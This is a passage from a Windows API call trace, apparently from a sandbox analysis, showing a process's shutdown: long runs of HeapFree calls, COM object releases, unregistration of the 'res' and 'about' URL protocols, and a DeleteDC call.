dwFlags=0x0, lpMem=0x4fffb8 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fffd8 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ffff8 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x500018 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x500038 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x500058 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x500078 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x500098 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x5044c0 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e87e8 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c3448 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ccb90 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.157] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd030 | out: hHeap=0x4a0000) returned 1 [0034.158] IUnknown:Release (This=0x4ece50) returned 0x0 [0034.158] IUnknown:Release (This=0x4d2924) returned 0x0 [0034.158] IUnknown:Release (This=0x738896bc) returned 0x7fff [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd980 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dba90 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbad0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbb10 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b49f0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c3528 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4db9c0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c3408 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.158] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf600 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.159] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.160] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.161] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbe78 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbd78 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dba28 | out: hHeap=0x4a0000) returned 1 [0034.162] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b93b0 | out: hHeap=0x4a0000) returned 1 [0034.163] IUnknown:Release (This=0x4ceb00) returned 0x0 [0034.163] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.163] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b47b0 | out: hHeap=0x4a0000) returned 1 [0034.163] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.163] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9830 | out: hHeap=0x4a0000) returned 1 [0034.163] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d3b80 | out: hHeap=0x4a0000) returned 1 [0034.163] GetModuleHandleW (lpModuleName="OLEAUT32") returned 0x769d0000 [0034.163] GetProcAddress (hModule=0x769d0000, lpProcName=0xc9) returned 0x769d4af8 [0034.163] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0034.163] IInternetSession:UnregisterNameSpace (This=0x4cee70, pCF=0x73888c50, pszProtocol="res") returned 0x0 [0034.163] IUnknown:Release (This=0x73888c50) returned 0x1 [0034.163] IInternetSession:UnregisterNameSpace (This=0x4cee70, pCF=0x73888c70, pszProtocol="about") returned 0x0 [0034.163] IUnknown:Release (This=0x73888c70) returned 0x1 [0034.163] IUnknown:Release (This=0x4cee70) returned 0x1 [0034.163] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c35e8 | out: hHeap=0x4a0000) returned 1 [0034.163] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e0a50 | out: hHeap=0x4a0000) returned 1 [0034.163] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b40e0 | out: hHeap=0x4a0000) returned 1 [0034.163] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf588 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e0ac8 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd0f0 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4798 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4de5e0 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e05c8 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b47c8 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b49a8 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4de280 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4768 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5fe8 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf528 | out: hHeap=0x4a0000) returned 1 [0034.164] IUnknown:Release (This=0x4d60a0) returned 0x0 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cb2d8 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf3c0 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ce0c8 | out: hHeap=0x4a0000) returned 1 [0034.164] DeleteDC (hdc=0x69010744) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d34f8 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d3490 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, 